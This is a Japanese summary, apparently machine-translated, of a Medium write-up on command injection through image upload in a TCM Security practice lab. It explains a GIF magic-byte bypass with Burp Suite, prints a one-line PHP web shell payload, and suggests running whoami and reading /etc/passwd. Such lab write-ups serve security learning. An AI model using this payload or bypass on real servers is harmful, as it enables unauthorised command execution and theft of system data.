「Command Injection by Uploading Image」から学ぶ

ソース:

medium.com

脆弱性:コマンドインジェクション

 

訳:

リモートコマンドインジェクション(コマンドインジェクション)

 

OWASPによるとコマンド インジェクションとは、脆弱なアプリケーションを介してホストオペレーティング システム上で任意のコマンドを実行することを目的とした攻撃で。

コマンドインジェクション攻撃は、アプリケーションがユーザーが指定した安全でないデータ (フォーム、Cookie、HTTP ヘッダーなど) をシステムシェルに渡す場合に発生する可能性があり。

この攻撃では通常、攻撃者が提供したオペレーティングシステムコマンドが、脆弱なアプリケーションの権限で実行され。コマンドインジェクション攻撃は、入力検証が不十分なことが主な原因で発生する可能性があり。リモートコマンド実行と呼ばれる、脆弱なアプリケーション上でシステム コマンドをリモートで実行する機能。 

 

いくつかの便利なシステム コマンド (Linux)

 

id — ユーザー情報を出力します。
ls ディレクトリのリスト
ps — 現在のプロセスを出力する
w — 現在のユーザーを表示します
whoami — ユーザーに関する情報を表示します

 

ファイルアップロードには「マジックバイト」脆弱性という脆弱性が 1 つあり。
この脆弱性では、攻撃者がマジックバイトにコードを挿入し、アップロードされたファイルにアクセスしようとすると、そのコマンドが実行され。

 

マジックバイトとは何ですか?

 

マジック バイトは、ファイルを認識するために使用されるファイルの最初の数バイトにすぎません。ファイルを開くと表示されません。 

 

バイパス : 攻撃者はshell.phpファイルをアップロードする可能性があり、ファイルのコンテンツは GIF89aとして開始され。
マジック ナンバー検証が行われている場合、サーバーはファイル タイプが GIFであると認識してそれを受け入れます。

 

対象 :「TCMセキュリティ」より「安全でないファイルアップロードラボ」 

このターゲットアプリケーションでは、画像ファイルのみアップロードできます。他のファイルをアップロードすると受け付けられませんが、この「画像ファイル」を使用してコマンドインジェクションを実行できます 

 

1. 「イメージファイル」を選択し、Burpsuite でリクエストをキャプチャします。 

 

2. リクエストをキャプチャした後、それをリピータに送信し、イメージ ファイルのマジック バイトが右下にあるリクエストを確認し。「PHP」コードを挿入し、ファイル名と拡張子を変更するだけで。

 

例:ファイル名を「cmd2.php」としています。

 

 

3. ここでファイル名とファイル拡張子を変更したことがわかります。前に述べたように、Magicbytesはファイルを認識するために使用されていたため、最初の 2 ~ 3 行と最後の 3 行は、すべての中間行を消去して「PHP」を挿入することを除き。
ペイロードを読み込み、受け入れられるかどうかを確認します。

 

ペイロード: <?php system($_GET['cmd']); ?> 

 

 

4. それが受け入れられたことを確認し、次にアプリケーションからファイルを呼び出す必要があり。そうすれば、ファイルのみが実行され。

 

 

注: PHP コードを実行するには、「URL の末尾に cmd パラメーターを含むクエリ文字列」を追加する必要があり。

 

例: ?cmd=your_command 

 

5. 「whoami」コマンドを使用すると、正常に実行されました。

 

 

6. "cat /etc/passwd" file を試してみよ

 

 

ほなほな